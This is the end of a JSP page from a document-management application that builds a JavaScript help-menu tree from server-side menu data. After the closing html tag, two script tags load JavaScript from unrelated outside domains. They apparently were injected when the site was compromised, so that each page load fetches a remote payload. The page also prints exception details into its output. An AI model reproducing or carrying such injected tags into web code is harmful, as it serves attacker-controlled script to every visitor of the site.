            var nodeUrl6002501 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_SRH_BASIC";
            var node6002501 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.basic.search.name")%>', 'javascript:goTarget(nodeUrl6002501);', '6002501', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002502 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_SRH_ADVANCE";
            var node6002502 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.advance.search.name")%>', 'javascript:goTarget(nodeUrl6002502);', '6002502', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002503 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_SRH_KEYWORD";
            var node6002503 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.keyword.search.name")%>', 'javascript:goTarget(nodeUrl6002503);', '6002503', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
          }
        <%
        } else {
        %>
            var node<%=sysFunction.getID()%> = new WebFXTreeItem('<%=TextUtility.replaceString(sysFunction.getFunctionNameByLocale(sessionContainer.getSessionLocale()),"'","\\'")%>', '', '<%=sysFunction.getID()%>');
        <%
        }
      }
      %>
      <%
      // add all nodes to their parent nodes
      for ( int i=1; i<=menu.size(); i++ ) {%>
        if ( typeof node<%=((SysFunction)menu.get(i-1)).getParentID()%> != "undefined" ) {
          node<%=((SysFunction)menu.get(i-1)).getParentID()%>.add( node<%=((SysFunction)menu.get(i-1)).getID()%> );
          if ('<%=((SysFunction)menu.get(i-1)).getID()%>' == '<%=functionID%>') {
            node<%=((SysFunction)menu.get(i-1)).getID()%>.parentNode.open = true;
          }
        }
    <% } %>

    if ( typeof node0 !=  "undefined" ) {
      if ( typeof node3001 != "undefined" ) {
          node3001.add(node30011);
          node3001.add(node30012);
          node3001.add(node30013);
      }
      if ( typeof node5001 != "undefined" ) {
          node5001.add(node50011);
            node50011.add(node500111);
            node50011.add(node500112);
            node50011.add(node500113);
          node5001.add(node50012);
            node50012.add(node500121);
            node50012.add(node500122);
            node50012.add(node500123);
          node5001.add(node50013);
            node50013.add(node500131);
            node50013.add(node500132);
            node50013.add(node500133);
      }
      if ( typeof node6001 != "undefined" ) {
        node6001.add(node60011);
        node6001.add(node60012);
        node6001.add(node60013);
        node6001.add(node60014);
        if ( typeof node60014 != "undefined" ) {
          node60014.add(node6001401);
          node60014.add(node6001402);
          node60014.add(node6001403);
          node60014.add(node6001404);
          node60014.add(node6001405);
          node60014.add(node6001406);
          node60014.add(node6001414);
          node60014.add(node6001408);
          node60014.add(node6001409);
          node60014.add(node6001410);
          node60014.add(node6001411);
          node60014.add(node6001413);
        }
        node6001.add( node60015 );
        if ( typeof node60015 != "undefined" ) {
          node60015.add(node6001501);
          node60015.add(node6001502);
          node60015.add(node6001503);
        }
      }
      if ( typeof node6002 != "undefined" ) {
        node6002.add(node60021);
        node6002.add(node60022);
        node6002.add(node60023);
        node6002.add(node60024);
        if ( typeof node60024 != "undefined" ) {
          node60024.add(node6002401);
          node60024.add(node6002402);
          node60024.add(node6002403);
          node60024.add(node6002404);
          node60024.add(node6002405);
          node60024.add(node6002406);
          node60024.add(node6002414);
          node60024.add(node6002408);
          node60024.add(node6002409);
          node60024.add(node6002410);
          node60024.add(node6002411);
          node60024.add(node6002413);
        }
        node6002.add( node60025 );
        if ( typeof node60025 != "undefined" ) {
          node60025.add(node6002501);
          node60025.add(node6002502);
          node60025.add(node6002503);
        }
      }
    }

    document.write(node0);

<%} catch(Exception e) {
        out.print(e);
        LogFactory.getLog(this.getClass()).error(e, e);
    }
%>
  }

  function goTarget(url) {
      if (!url) {
        parent.helpContent.location.href = "HelpContent.jsp?functionCode=&childFunctionCode=";
      } else {
        parent.helpContent.location.href = url;
      }
  }
  //-->
  </script>
  <!-- Hierarchy Tree End -->
  </td>
</tr>
</table>

</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>